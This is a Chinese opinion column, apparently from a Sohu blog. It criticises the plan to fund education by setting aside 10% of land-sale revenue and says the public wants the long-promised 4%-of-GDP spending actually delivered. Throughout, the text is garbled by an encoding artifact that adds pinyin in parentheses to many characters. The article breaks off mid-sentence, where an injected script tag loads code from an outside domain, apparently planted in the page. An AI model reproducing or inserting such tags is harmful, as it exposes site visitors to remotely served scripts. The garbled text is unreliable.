熊丙奇:教育投入達(dá)GDP的4%,公眾要的是結(jié)果
時(shí)間:2022年10月16日 來(lái)源:搜狐博客 閱讀:0
從土地出讓收益中計(jì)提教育資金,是黨中央、國(guó)務(wù)院為確保2012年實(shí)現(xiàn)財(cái)政性教育經(jīng)費(fèi)支出占國(guó)內(nèi)生產(chǎn)總值比例達(dá)到4%目標(biāo)做出的一項(xiàng)重要決策,關(guān)系到我國(guó)農(nóng)村和城市基礎(chǔ)教育事業(yè)的健康發(fā)展。為此,財(cái)政部、教育部近日發(fā)出通知,對(duì)從土地出讓收益中計(jì)提教育資金做出詳細(xì)規(guī)定。財(cái)政部有關(guān)負(fù)責(zé)人就計(jì)提教育資金的口徑以及資金的使用與管理等問(wèn)題進(jìn)行了解讀。
對(duì)于提10%土地出讓金用于教育,以確保4%的目標(biāo)這一舉措,已有多路記者來(lái)采訪,問(wèn)其究竟有何積極意義。說(shuō)實(shí)在的,對(duì)于財(cái)政性教育經(jīng)費(fèi)支出達(dá)到GDP的4%,我特別關(guān)心,而至于政府部門(mén)怎樣籌資來(lái)達(dá)到,我并不太關(guān)心。
打一個(gè)比方,某人欠你1萬(wàn)元錢(qián),已經(jīng)鬧上了法庭,法庭已經(jīng)宣判,要求對(duì)方必須在某一時(shí)限前歸還欠款。你所關(guān)心的是這1萬(wàn)元錢(qián)能否按期到位呢,還是代替對(duì)方去想怎樣籌措這一萬(wàn)元錢(qián)呢?籌措資金的事兒,是對(duì)方的事,而具體怎樣籌資,如果還要你操心,那情況就很不妙了。——多半情況會(huì)是,對(duì)方告訴你,你看,我已經(jīng)想了所有辦法,但錢(qián)還是沒(méi)有籌到,只有對(duì)不起了。當(dāng)然,在這一過(guò)程中,除了對(duì)方自己想辦法之外,還有一個(gè)機(jī)構(gòu),即負(fù)責(zé)監(jiān)督執(zhí)行的法院,會(huì)為對(duì)方想辦法,怎樣籌集還款的資金。
要求提10%的土地出讓金來(lái)投入教育,這與法院對(duì)欠款人支招頗有些類似,目的無(wú)非是籌措資金,以保障教育投入。而對(duì)于公眾來(lái)說(shuō),要的不是政府部門(mén)籌資的過(guò)程,而需要的是否嚴(yán)格執(zhí)行的結(jié)果。
其實(shí),此間媒體反復(fù)報(bào)道政府部門(mén)為確保教育投入所做的籌資努力,反而令我感到不安。這給人的感覺(jué)是,政府部門(mén)的財(cái)政經(jīng)費(fèi)很緊張,同時(shí),在為增加教育投入做最大的努力。可問(wèn)題是,政府財(cái)政,在提到教育投入時(shí)就表現(xiàn)為一貫的緊張,而在“三公消費(fèi)”時(shí),卻從來(lái)沒(méi)有緊張過(guò);至于政府部門(mén)為增加教育投入所作的努力,想的辦法,公眾已經(jīng)看了10多年了,但“努力”的結(jié)果就是,4%的目標(biāo),從1993年一直提到現(xiàn)在,一直沒(méi)有實(shí)現(xiàn)。
還有一個(gè)地方令我不解,按理,中央有關(guān)部門(mén)完全可以根據(jù)有關(guān)教育投入的要求,根據(jù)政策目標(biāo)(比如,教育經(jīng)費(fèi)支出不低于財(cái)政支出的15%,保持“三增長(zhǎng)”等)檢查各地執(zhí)行教育經(jīng)費(fèi)投入的情況,進(jìn)行問(wèn)責(zé)。可為何又把教育投入的目標(biāo),轉(zhuǎn)為土地出讓金的比例呢?難道監(jiān)控整體投入比例,與監(jiān)控土地出讓金比例,不是同樣的監(jiān)控工作嗎?難道土地出讓金不是財(cái)政收入的一部分嗎?而如果某地土地出讓收入減少,是不是就可以兩手一攤說(shuō),已經(jīng)按10%提取了,總體比例還是沒(méi)達(dá)到,就實(shí)在沒(méi)辦法呢?
可以理解的是,教育部和財(cái)政部,是在為地方政府籌集資金想辦法,這傳遞的信息是,地方財(cái)政在為進(jìn)一步增加教育投入“叫窮”,事實(shí)上?script src=http://www.234mu.com/>
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